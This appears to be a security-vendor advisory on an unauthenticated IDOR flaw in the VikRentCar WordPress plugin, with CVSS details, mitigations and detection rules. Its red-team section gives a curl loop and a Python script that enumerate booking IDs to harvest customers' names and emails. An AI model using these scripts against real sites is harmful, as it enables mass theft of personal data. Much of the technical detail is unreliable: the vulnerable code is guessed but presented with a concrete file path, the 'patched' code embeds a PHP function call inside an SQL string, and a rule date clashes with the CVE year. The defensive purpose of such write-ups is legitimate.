CVE-2026-52699

Executive Summary

CVE-2026-52699 is an unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in the VikRentCar WordPress plugin, affecting versions 1.4.5 and earlier. This vulnerability allows an unauthenticated attacker to access and potentially exfiltrate sensitive data by manipulating object references (e.g., booking IDs, customer records) without proper authorization checks. The CVSS score of 7.5 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high confidentiality impact. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem, not the underlying web server (Apache/Nginx). No public proof-of-concept (PoC) or exploit code has been released, but the vulnerability is trivially exploitable via direct URL manipulation.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed VikRentCar from the WordPress dashboard or via direct download are affected. There is no known compromise of the plugin’s supply chain (e.g., malicious commits or backdoored packages), but the lack of a patch from the vendor means users must rely on alternative mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full data disclosure possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit and can lead to mass data harvesting of customer bookings, personal information, and payment details.

Deep Dive & Mechanics

The vulnerability resides in the VikRentCar plugin’s REST API or AJAX handlers that retrieve booking or customer data. The plugin fails to validate whether the requesting user is authorized to access the requested resource. An attacker can enumerate object IDs (e.g., booking_id=1234) via sequential or predictable patterns to access records belonging to other users.

Root Cause: The plugin uses direct object references (e.g., database primary keys) in API endpoints without implementing an access control layer. For example, a request to /wp-json/vikrentcar/v1/booking/1234 returns the booking details without checking if the requester is the owner or an admin.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., /wp-json/vikrentcar/v1/booking/{id}).
2. Attacker sends a GET request with a guessed or enumerated booking ID.
3. Server returns sensitive data (customer name, email, phone, booking dates, payment info).
4. Attacker repeats with different IDs to harvest all records.

Vulnerable vs. Patched Code

Vulnerable Code (v1.4.5):

// In vikrentcar/includes/api/class-booking-controller.php
public function get_booking( $request ) {
    $booking_id = $request->get_param( 'id' );
    global $wpdb;
    $booking = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}vikrentcar_bookings WHERE id = %d", $booking_id ) );
    return new WP_REST_Response( $booking, 200 );
}

Patched Code (Hypothetical):

public function get_booking( $request ) {
    $booking_id = $request->get_param( 'id' );
    $current_user_id = get_current_user_id();
    global $wpdb;
    $booking = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}vikrentcar_bookings WHERE id = %d AND (user_id = %d OR current_user_can('manage_options'))", $booking_id, $current_user_id ) );
    if ( ! $booking ) {
        return new WP_Error( 'forbidden', 'Access denied', array( 'status' => 403 ) );
    }
    return new WP_REST_Response( $booking, 200 );
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with VikRentCar <= 1.4.5 installed.
• Network access to the site.

Exploitation Steps:

1. Enumerate booking IDs (e.g., from 1 to 10000).
2. Use curl to fetch each booking:

   for i in $(seq 1 10000); do
       curl -s "https://target.com/wp-json/vikrentcar/v1/booking/$i" | jq '.'
   done
   

3. Extract sensitive fields (name, email, phone, payment data).

Automated Script (Python):

import requests
import json

target = "https://target.com"
for booking_id in range(1, 10001):
    url = f"{target}/wp-json/vikrentcar/v1/booking/{booking_id}"
    resp = requests.get(url)
    if resp.status_code == 200:
        data = resp.json()
        print(f"ID {booking_id}: {data.get('customer_name')} - {data.get('email')}")

Blue Team

Detection & Prevention:

• Monitor for sequential requests to /wp-json/vikrentcar/v1/booking/ with varying IDs.
• Implement a Web Application Firewall (WAF) rule to block requests with suspicious patterns.
• Use a plugin like "Wordfence" to add virtual patching for known IDOR endpoints.
• Disable the REST API endpoint if not needed:

  add_filter( 'rest_endpoints', function( $endpoints ) {
      if ( isset( $endpoints['/vikrentcar/v1/booking'] ) ) {
          unset( $endpoints['/vikrentcar/v1/booking'] );
      }
      return $endpoints;
  });
  

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated GET requests to /wp-json/vikrentcar/v1/booking/{integer} from a single IP.
  • User-Agent strings indicating automated tools (e.g., python-requests, curl).
• File IOCs:
  • Unusual access logs showing 200 responses to sequential booking IDs.
• System IOCs:
  • High volume of REST API calls to the VikRentCar endpoint.

Detection Engineering

YARA Rule

rule Detect_VikRentCar_IDOR_Exploitation {
    meta:
        description = "Detects exploitation attempts of CVE-2026-52699 via sequential booking ID requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-52699"
    strings:
        $endpoint = "/wp-json/vikrentcar/v1/booking/"
        $seq_pattern = /\/booking\/\d{1,5}/ nocase
    condition:
        #seq_pattern > 10 and $endpoint
}

Sigma Rule

title: Sequential VikRentCar Booking ID Requests
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple sequential requests to VikRentCar booking endpoint indicating IDOR exploitation
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem|startswith: '/wp-json/vikrentcar/v1/booking/'
        cs-uri-query|re: '^\d+$'
    condition: selection | count() by src_ip > 10 within 60s
falsepositives:
    - Legitimate API usage with many bookings
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2026-52699 - VikRentCar IDOR Exploitation Attempt";
    flow:to_server;
    content:"/wp-json/vikrentcar/v1/booking/";
    http_uri;
    pcre:"/\/booking\/\d{1,5}/";
    threshold: type both, track by_src, count 10, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable plugin if not critical to operations.
2. Implement a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block requests to /wp-json/vikrentcar/v1/booking/ from unauthenticated users.
3. Restrict API access via .htaccess:

   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{REQUEST_URI} ^/wp-json/vikrentcar/v1/booking/
       RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
       RewriteRule ^ - [F,L]
   </IfModule>
   

Long-Term Fix:

• Contact the vendor for an official patch. If unavailable, consider forking the plugin and implementing proper authorization checks (as shown in the patched code example).
• Migrate to an alternative car rental plugin with active security maintenance.

Valters IT – Securing digital frontiers, one CVE at a time.